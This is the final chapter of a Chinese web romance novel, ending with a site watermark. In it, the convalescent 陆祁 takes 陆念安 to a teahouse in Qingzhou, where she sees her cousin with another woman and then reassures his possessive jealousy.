陆念安觉得有些丢人,闷闷解释:“是我以为哥哥你又晕过去了……” “盼不得我好,乱想什么?”手腕却有些失控的无力,陆祁收了手,轻吻在她眼眸哄她。 偏生她哭起来就是没完没了的,眼泪流了一夜仍往下淌。昏迷中,陆祁听了她一夜的哭声,她可怜兮兮地就蹲在塌边,他却没有力气去哄他,漫漫长夜,他同样没得到片刻安稳。 眼看她哭个不停,陆祁又哄了她许久,泪珠滴落在赤裸的胸膛上,他压着她脑袋将人怀里送,无奈叹气:“阿念,我没有你这般娇气的。” 陆念安终于慢慢平缓下来,后知后觉意识到两人之间有多亲密,她很快不太适应地从他怀中起来,慌忙下榻:“我去找王太医。” 她也不知道自己怎么又哭了。 像是逃离一般出了里屋,陆念安将门合上,背靠着墙深呼出口气,才走下台阶。 * 客栈里太清净,绕了许久,陆念安也未瞧见王太医,她很快便有些急了,好在片刻后等到了青竹。 “已经醒了?”青竹正为昨日之事忙得焦头烂额,愣了愣后,想起来解释道:“王太医回商船取药材了,我立刻备马去看看。” 他一时有些激动,很快便跑了出去。 陆念安还有话未说完,犹豫了瞬,也抬步跟上。 只是等她走出弯绕的小道后,青竹却已不知跑去了哪里,空荡长街,只余下一辆马车和几匹马。 马车应是去唤王太医的,陆念安掀起车帘跟着上了马车,方才抬眼,整个人却有些呆。 车内焚着很清淡的药香,内里光线明晰,陆祁披了件外衫,闭眸静坐在里端,面庞清俊。 在陆念安的呆愣中,他缓慢睁开双眸,温柔注视着她,语调平缓:“阿念,过来。” 陆念安没太反应过来,直至被那双大手牵住,她眨了眨眼,这才想起来问道:“哥哥,我们是要去找王太医吗?” 陆祁并未回答她这个问题,凑得近了,瞧见她眼下青黑,他沉吟片刻,轻抚上去,同她道:“阿念要先睡一会儿吗?” 当紧绷一瞬间散去,陆念安的确有些疲倦,她下意识点头,却又很快皱起眉,娇声道:“我不想睡。” 陆祁没逼她,抚过小姑娘乌黑柔顺的发,他长指缓慢插进去,沉默着替她按了会儿头。 今日的马车很平缓,陆念安枕在兄长的膝上小歇,她却没有闭眼。 看着窗外景物更迭,须臾,竟来到陆念安最为熟悉的唐街。 这是她来到青州后最熟悉的地方,前几日还时常跟同哥哥姐姐们来玩。 马车停在唐街的一间茶楼外,正午,茶楼内人来人往,说书先生站在高台,台下有人正要一盏最便宜的凉茶解渴,也有人花重金请茶女来点茶,一边听着书一边慢悠悠饮着。 陆祁牵住她往茶楼里走。 “我们不是去找王太医吗?”越往里走,陆念安心中疑惑更甚,不明白为什么要来这间普通的茶楼。 青州的寻常百姓没时间慢悠悠饮茶,这茶楼里算不上多雅致,多数都是寻一杯凉茶解渴之人,人多嘈杂,难免发生碰撞。 陆念安有些担忧,干脆止步道:“哥哥,我们还是回去吧。” “累了?”陆祁慢条斯理地替她将碎发抚至而后,平静解释:“阿念,还有一会就到了。” 话音才落,几个喝完茶的小贩并排出来,拥挤间,陆祈抬手将她环住,任由其中一人撞过他的肩挤出去。 他眼也未眨,等几人走后,重新牵住陆念安的手,十指相扣。 止步时,耳边只剩下说书先生的声音,陆念安恍惚想起他的伤处便是右肩没错,踮起脚就凑去看。 大庭广众下,陆念安几乎将自己挂在男人身上,她认真扒拉开他的外袍,显得黏人极了。 陆祈到也纵着她,指尖很温柔地抚过她后颈,却在下一瞬加重力道,迫使她朝前看。 陆念安刚看见染血的纱布,还未细看,却被调转了个方向,不得已抬起眸来。 视线因此对着高台的正下方,她刚要抱怨,却意外看见一道熟悉的身影—— 高台下,大家伙正聚精会神地看着说书先生,着碧绿色纱裙的茶女这时手捧茶盘传过人群,她步步生莲,慢悠悠走到最右侧的一位男子前止步。 两人应是相熟的,没一会儿便又说又笑地聊起来,熟稔极了。 并不特别的一幕,只那男子的身影有些眼熟,原是表哥哥方艾。 陆念安忽然就沉默了,她没有收回目光,看了许久许久。 久到周遭一切安然失色,手捏着她的后颈,陆祁始终注视着她,将她失落的神情,无比碍眼的泪珠尽收眼底,整个人隐隐有些焦躁起来。 看见这“表哥哥”同别人有说有笑,她就这般伤心难过吗? 神色骤然般冷淡下来,陆祁紧绷着,疼痛使他得以片刻冷静,他将人一点一点挪回来,额头紧绷着,几乎控制不住地往下联想。 他是没打算放手的。 陆祁不计较后果或是反噬,必要之际,亦不加犹豫的算计自己,他只要完完整整的她。 只是这一次,又要如何将人乖乖带走呢? …… 茶楼内昏暗,光线因为人多显得稀薄。周围是嘈杂喧闹,说书人应是讲了个笑话,隐隐能听见几个人因此狂笑不止。 陆念安视线模糊,勉强看清眼前被鲜血染红的纱布,陆祈双眸泛红,脖颈上青筋分明,像是压抑着什么。 困住她的同时,他好像也深陷其中。 那些偏执到病态的占有,化为更柔软的轻抚,忽然让陆念安有些心软。 缓过神,在一片欢笑和谐里,陆念安低头,脸颊靠着他胸膛乖乖蹭了蹭,闷闷同他解释:“你不要什么都计较好不好,昨夜表姐姐只是同我说笑的。” 见他不说话,陆念安有些无奈,她再一次踮起脚,双手绕住男人脖颈,费力地往他耳边凑。陆祈便下意识揽住她的腰,她脸颊泛起薄红,趴在他耳边忽然很轻声很轻声道:“我是你的。” 揽住她腰的大掌僵了僵,很快收紧,可他太用力了,用力到陆念安生出一种从今往后都逃离不了的错觉,连忙改口:“我们快回家吧。” 【正文完】魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&